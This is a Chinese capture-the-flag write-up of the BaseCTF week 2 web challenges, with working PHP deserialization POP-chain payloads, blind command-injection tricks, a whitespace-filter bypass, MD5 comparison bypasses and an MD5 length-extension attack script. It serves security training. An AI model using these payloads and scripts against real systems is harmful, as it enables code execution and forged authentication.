BaseCTF之web(week2)

news2024/12/24 9:10:49

目录

ez_ser

 一起吃豆豆

你听不到我的声音

Really EZ POP

 RCEisamazingwithspace

所以你说你懂 MD5?

数学大师


ez_ser

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?> 

考点:反序列化 

为什么要先进行序列化?因为在程序执行完毕后,所创建对象的属性资源都会被销毁,而序列化是将对象的状态信息转换为可以存储或传输的形式的过程,其目的是为了实现对象的持久化、网络传输、跨平台存储和对象复制。

首先介绍几个魔术方法

  • __construct()‌:当使用new关键字创建对象时被调用,用于初始化对象。
  • __destruct()‌:当销毁对象(unset)或脚本执行结束时或反序列化时被调用,用于清理资源或执行必要的清理操作。
  • __sleep()‌:在对象被序列化之前被调用,通常用于指定哪些属性需要被序列化。
  • __wakeup()‌:在对象被反序列化之后立即被调用,用于初始化对象的状态或执行必要的初始化操作。
  • __call()‌:当在对象上下文中调用不存在的方法时触发。
  • __callStatic()‌:在静态上下文中调用不存在的方法时触发。
  • __isset()‌ 和 ‌__unset()‌:在不可访问的属性上调用isset()empty()以及使用unset()时触发。
  • __get()‌ 和 ‌__set()‌:分别用于获取和设置对象的属性值,当访问不存在的属性时触发。
  • __toString()‌:当一个对象被当作字符串使用时调用。
  • __invoke()‌:当脚本尝试将对象调用为函数时触发。

 首先我们需要用脚本序列化一个对象:

<?php
class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}
class web {
    public $kw;
    public $dt;
    public function __wakeup() {
        echo "lalalla".$this->kw;
    }
}
class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}
class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->dusk="gods";
$a->kw->chu0->over=new Misc();
echo urlencode(serialize($a));
?>

其中只有当pwn对象引用pwn私有属性或者未定义属性时,才会调用_get()方法;

只有当re对象被当作字符串执行时,才会调用_tostring()方法;

只有当序列化的web对象$a被反序列化时才会调用_wakeup()方法;

 成功得到flag:

 一起吃豆豆

玩游戏?是不可能的;

查看index.js发现了base64编码

里面有些注释是乱码的,不过可以去看游戏的源代码找

你听不到我的声音

 <?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']); 

这题提示就说了怎么看不到shell命令输出的结果?

本人也是先各种命令尝试:

ls不行

ls /不行

cat flag.php不行

cat flag不行

cat /flag不行

cp flag 1.txt不行

cp /flag 1.txt可以

当然这里也可以用重定向符号>写入到一个文件

比如:ls>1.txt 

 一般flag就藏在当前目录或者根目录下的flag文件或flag.php文件里面,多尝试几次就可能出来了

Really EZ POP

 <?php
highlight_file(__FILE__);
class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}
class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}
class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}
class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}
if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
} 

 这里的提示说反序列化不会忽略成员变量的可访问性;也就是我们在序列化的过程中不能修改变量的public/private属性

但是在高版本的php中,一般都可以忽略成员变量的可访问性,但这里提到了,所以肯定暗藏玄机

思路:

倒叙推到

1.这里面最后一步能得到flag的地方也就只有eval($this->cmd);所以我们要把cmd的属性值修改成我们想要执行的shell命令,直接将echo '123'改成'system("ls");'

2.下一个问题:我们得调用_tostring()方法,调用时机也就是Sink对象被当作字符串执行,发现这里echo 'Shark says:' . $this->word;将word当作字符串执行了,那么我们只需把word属性值修改成Sink的对象,但这里我们不能直接将变量值定义为另一个类的对象,我们可以自己写一个函数,然后在外面调用,参数就是new Sink();

3.那如何执行_ivoke()方法呢?上面我们写道该方法的调用时机是当脚本尝试将对象调用为函数时触发。我们很容易发现Sea类中_get()方法有函数被执行了,即将$sea_ani()函数执行,那我们可以将$sea_ani变量值修改成Shark的对象,那么我们调用函数的时候,就是把Shark当做函数调用了,因为$sea_ani的权限是public,所以我们在类外面就可以修改$sea_ani为new Shark();

4.接着该调用_get()方法,调用时机就是引用不存在的属性或者私有属性时,发现_destruct()方法调用了未定义的属性,那么就可以把see的属性值改成new Sea();

 那如何调用_destruct()呢,__destruct() 析构函数则在对象销毁和unserialize反序列化的情况下会被触发。

这样我们就可以写脚本构造序列化了

<?php
class Sink
{
    private $cmd = 'system("ls");';
    public function __toString()
    {
        eval($this->cmd);
    }
}
class Shark
{
    private $word = 'Hello, World!';
    public function Setword($setword){
        $this->word =$setword;
    }
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}
class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}
class Nature
{
    public $sea;
    public function __destruct()
    {
        echo $this->sea->see;
    }
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->Setword(new Sink());
echo urlencode(serialize($a));

hackbar执行ls命令时还可以输出,执行ls /命令是用hackbar会有错误,要用Bp或Yakit抓包

 再执行cat /flag命令(用Bp提交)

成功拿到flag

 RCEisamazingwithspace

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}

'\s'表示可以匹配任意一个空白字符,就比如说:换页符、换行符、回车和制表符等。

 绕过空格有很多办法,但尝试了一下,只有${IFS}可以用;

payload:cmd=cat${IFS}/flag

所以你说你懂 MD5?

 <?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?

第一步绕过:强比较绕过的方法目前只有使用数组,md5对数组的返回值为null,通过这个特性可以绕过

第二步绕过:弱相等强制转换成字符串,只要字符串经过md5后是0e开头,那么两者就是相等的

第三步绕过:强相等,此时两个字符串的md5值必须完全一样 

第四步绕过:这里用到了字符串的拓展攻击,通过脚本执行可以得到新的md5

from struct import pack, unpack
from math import floor, sin


"""
MD5 Extension Attack
====================

@refs
https://github.com/shellfeel/hash-ext-attack
"""


class MD5:

    def __init__(self):
        self.A, self.B, self.C, self.D = \
            (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)  # initial values
        self.r: list[int] = \
            [7, 12, 17, 22] * 4 + [5,  9, 14, 20] * 4 + \
            [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4  # shift values
        self.k: list[int] = \
            [floor(abs(sin(i + 1)) * pow(2, 32))
             for i in range(64)]  # constants

    def _lrot(self, x: int, n: int) -> int:
        # left rotate
        return (x << n) | (x >> 32 - n)

    def update(self, chunk: bytes) -> None:
        # update the hash for a chunk of data (64 bytes)
        w = list(unpack('<'+'I'*16, chunk))
        a, b, c, d = self.A, self.B, self.C, self.D

        for i in range(64):
            if i < 16:
                f = (b & c) | ((~b) & d)
                flag = i
            elif i < 32:
                f = (b & d) | (c & (~d))
                flag = (5 * i + 1) % 16
            elif i < 48:
                f = (b ^ c ^ d)
                flag = (3 * i + 5) % 16
            else:
                f = c ^ (b | (~d))
                flag = (7 * i) % 16

            tmp = b + \
                self._lrot((a + f + self.k[i] + w[flag])
                           & 0xffffffff, self.r[i])
            a, b, c, d = d, tmp & 0xffffffff, b, c

        self.A = (self.A + a) & 0xffffffff
        self.B = (self.B + b) & 0xffffffff
        self.C = (self.C + c) & 0xffffffff
        self.D = (self.D + d) & 0xffffffff

    def extend(self, msg: bytes) -> None:
        # extend the hash with a new message (padded)
        assert len(msg) % 64 == 0
        for i in range(0, len(msg), 64):
            self.update(msg[i:i + 64])

    def padding(self, msg: bytes) -> bytes:
        # pad the message
        length = pack('<Q', len(msg) * 8)

        msg += b'\x80'
        msg += b'\x00' * ((56 - len(msg)) % 64)
        msg += length

        return msg

    def digest(self) -> bytes:
        # return the hash
        return pack('<IIII', self.A, self.B, self.C, self.D)


def verify_md5(test_string: bytes) -> None:
    # (DEBUG function) verify the MD5 implementation
    from hashlib import md5 as md5_hashlib

    def md5_manual(msg: bytes) -> bytes:
        md5 = MD5()
        md5.extend(md5.padding(msg))
        return md5.digest()

    manual_result = md5_manual(test_string).hex()
    hashlib_result = md5_hashlib(test_string).hexdigest()

    assert manual_result == hashlib_result, "Test failed!"


def attack(message_len: int, known_hash: str,
           append_str: bytes) -> tuple:
    # MD5 extension attack
    md5 = MD5()

    previous_text = md5.padding(b"*" * message_len)
    current_text = previous_text + append_str

    md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
    md5.extend(md5.padding(current_text)[len(previous_text):])

    return current_text[message_len:], md5.digest().hex()


if __name__ == '__main__':

    message_len = int(input("[>] Input known text length: "))
    known_hash = input("[>] Input known hash: ").strip()
    append_text = input("[>] Input append text: ").strip().encode()

    print("[*] Attacking...")

    extend_str, final_hash = attack(message_len, known_hash, append_text)

    from urllib.parse import quote
    from base64 import b64encode

    print("[+] Extend text:", extend_str)
    print("[+] Extend text (URL encoded):", quote(extend_str))
    print("[+] Extend text (Base64):", b64encode(extend_str).decode())
    print("[+] Final hash:", final_hash)

 利用random的hash值得到经过扩展的hash值

 长度要写成96,这里提交的时候name变量的值要写成urlencoded后的值,而不是name

数学大师

 显然我们不可能一个个手算,只能通过脚本来执行

import requests
import re

Answer = 0
regex = r" (\d*?)(.)(\d*)\?"
req = requests.session()
for i in range(55):
    a = req.post("http://challenge.basectf.fun:22333", data={"answer": Answer})
    match = re.search(regex, a.text)
    num1 = match.group(1)
    op = match.group(2)
    num2 = match.group(3)
    if op == "+":
        Answer = int(num1) + int(num2)
    elif op == "-":
        Answer = int(num1) - int(num2)
    elif op == "÷":
        Answer = int(num1) // int(num2)
    elif op == "×":
        Answer = int(num1) * int(num2)
    print(a.text)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2095023.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker 容器编排之 Docker Compose

目录 1 Docker Compose 概述 1.1 主要功能 1.2 工作原理 1.3 Docker Compose 中的管理层 2 Docker Compose 的常用命令参数 2.1 服务管理 2.1.1 docker-compose up &#xff1a; 2.1.2 docker-compose down &#xff1a; 2.1.3 docker-compose start &#xff1a; 2.1.4 docker…

数据结构:(LeetCode101)对称二叉树

给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 示例 1&#xff1a; 输入&#xff1a;root [1,2,2,3,4,4,3] 输出&#xff1a;true示例 2&#xff1a; 输入&#xff1a;root [1,2,2,null,3,null,3] 输出&#xff1a;false提示&#xff1a; 树中节点数目在范围…

World of Warcraft [CLASSIC][80][Shushia] [Obsidian Sanctum][Sartharion]

黑曜石圣殿 [Obsidian Sanctum] 萨塔里奥[Sartharion] 号旗披风、龙魂图典、五色巨龙之怒、黑曜石巨盔等装备&#xff0c;都是非常极品的BIS装备 召唤顺序&#xff1a;&#xff08;中&#xff09;塔尼布隆、&#xff08;右&#xff09;沙德隆、&#xff08;左&#xff09;维斯…

SAP OBYC配置方案

在SAP OBYC配置中&#xff0c;确保评估级别与会计科目匹配的关键在于正确设置评估级别、评估分组代码以及相关的会计科目。以下是确保匹配的步骤和注意事项&#xff1a; 定义评估控制&#xff1a;在SAP中&#xff0c;首先需要定义评估控制&#xff0c;这通常与工厂或公司代码相…

switch语句和while循环

switch语句和while循环 switch语句break的用法default的用法switch语句中的case和default的顺序问题 while语句while语句的执行流程while语句的具体例子 switch语句 switch 语句是⼀种特殊形式的 if…else 结构&#xff0c;用于判断条件有多个结果的情况。它把多重 的 else if…

13 隔离性

数据库并发的场景 读-读&#xff1a;不存在任何问题&#xff0c;也不需要并发控制 读-写&#xff1a;有线程安全问题&#xff0c;可能会造成事务隔离性问题&#xff0c;可能遇到脏读&#xff0c;幻读&#xff0c;不可重复读 写-写&#xff1a;有线程安全问题&#xff0c;可能存…

低代码开发与数据库:数字化转型的新引擎

低代码开发与数据库&#xff1a;数字化转型的新引擎 前言低代码开发的革命性优势数据库在低代码开发中的关键角色实践案例分析未来展望结语 前言 在当今这个快速变化的时代&#xff0c;技术的革新不断推动着企业向数字化转型迈进。随着云计算、大数据、人工智能等技术的飞速发展…

VastBase——执行计划

一、SQL的执行过程 1.词法分析 从查询语句中识别出系统支持的关键字、标识符、运算符、终结符等&#xff0c;确定每个词固有的特性。 以如下这个查询为例&#xff1a; select name from test_0717 where id > 1; 该SQL语句可以划分的关键字、标识符、运算符、常量等…

机器视觉-3 光学成像之明场与暗场

一. 原理介绍 在机器视觉中&#xff0c;光学成像的明场&#xff08;Bright Field&#xff09;和暗场&#xff08;Dark Field&#xff09;是两种常见的成像技术&#xff0c;分别用于不同的检测和分析场景。它们通过不同的光照方式来突出对象的特征&#xff0c;从而帮助识…

基于单片机的多功能数字闹钟设计

本设计是基于单片机来设计的多功能数字闹钟。主要功能包括显示年、月、日、星期、时、分、秒和温湿度等信息&#xff0c;并提示当前环境温湿度是否处于人体舒适区间内&#xff0c;并且设置了4个闹钟用于日常生活中使用&#xff0c;同时设计有秒表计时、整点报时功能等等。在控制…

PCIe Gen4 ltssm协商过程

本章节我们以gen4 Endpoint为例介绍PCIe ltssm(链路状态机)协商过程。 正常PCIe设备链路状态跳变为 detect-->polling-->configuration-->L0(gen1)-->recovery-->L0(gen3)-->recovery-->L0(gen4)。 需要注意的是在进入configuration状态之前&#xff…

视频化时代,用好AIGC产品赋能企业培训打造增效降本“最佳实践”

根据IBM的数据&#xff0c;85%的中国企业正在加速投资AI领域&#xff0c;其中超过63%的企业已积极采用生成式AI。德勤的调研进一步显示&#xff0c;近80%的全球受访企业高管认为&#xff0c;生成式AI的兴起与发展将在3年内推动组织和行业发生实质性变革&#xff0c;这也就意味着…

若依nodejs全栈(五:导出Excel与用户列表填坑)

回顾 上一章节中&#xff0c;我们学会了ruoyi用户列表简单的增删改查功能&#xff0c;但是上一节还存在一些问题&#xff1a; 查询的列表是全部数据&#xff0c;没加查询条件&#xff1b;没有导出功能&#xff1b;新增或修改时&#xff0c;用户关联的角色、岗位、菜单等没做关…

【R语言速通】1.数据类型

文章目录 0. 变量名1.基本数据类型1.1 数值型1.2 整型1.3 复数型1.4 逻辑型1.5 字符型 2.复合数据类型2.1 向量向量操作向量的常用函数 2.2 矩阵矩阵操作矩阵的常用函数 2.3 数组数组的操作数据的运算数组的访问数组的维度操作 数组的常用函数 2.4 数据框数据框操作数据框的常用…

Flutter安装问题解决

https://blog.csdn.net/Oven_maizi/article/details/126804404 首次运行 flutter dockor 报的错误&#xff0c;可以看到报错提示&#xff0c;安卓开发、win开发 还缺少依赖&#xff0c;但 web开发是可以的&#xff0c;那么只需要解决 网络资源不可用问题 PS E:\workspace\te…

生信机器学习入门4 - scikit-learn训练逻辑回归(LR)模型和支持向量机(SVM)模型

通过逻辑回归&#xff08;logistic regression&#xff09;建立分类模型 1.1 逻辑回归可视化和条件概率 激活函数 (activation function)&#xff1a; 一种函数&#xff08;如 ReLU 或 S 型函数&#xff09;&#xff0c;用于对上一层的所有输入进行求加权和&#xff0c;然后生…

计算机毕业设计hadoop+spark+hive酒店推荐系统 酒店数据分析可视化大屏 酒店爬虫 酒店预测系统 大数据毕业设计 Sqoop

《HadoopSparkHive酒店推荐系统》开题报告 一、研究背景与意义 随着互联网技术的飞速发展和人们生活水平的提高&#xff0c;旅游和酒店行业迎来了前所未有的发展机遇。然而&#xff0c;面对海量的酒店信息和多样化的用户需求&#xff0c;如何快速、准确地为用户推荐符合其需求…

vscode 远程SSH连接并配置C/C++开发环境

服务器配置 生成用户密钥 ssh-keygen -t rsa -b 4096 执行上面的命令后会在 ~/.ssh/ 目录生成密钥&#xff0c;然后导入密钥到认证文件中 cd .ssh/ cat id_rsa.pub >> authorized_keys最后将 id_rsa 传输到宿主机上 宿主机配置 安装插件 安装 remote-ssh 插件 配…

暑假学习内容简单总结

暑假总结 文章目录 暑假总结前言自动无限轮播图UITableView给不同组设置独立的cell设置cell宽度设置组间距折叠cell CALayer的简单使用CALayer实现一个视图裁剪CALayer的contentGravity的属性CALayer设置背景图自定义UIColor 网络请求正则表达式小结 前言 笔者在暑假通过几个项…

atcoder abc 369

A 369 问题&#xff1a; 思路&#xff1a;暴力枚举 代码&#xff1a; #include <bits/stdc.h>using namespace std;int main() {int a, b;cin >> a >> b;int cnt 0;for(int i -1000; i < 1000; i ) {vector<int> aa;aa.push_back(a);aa.push…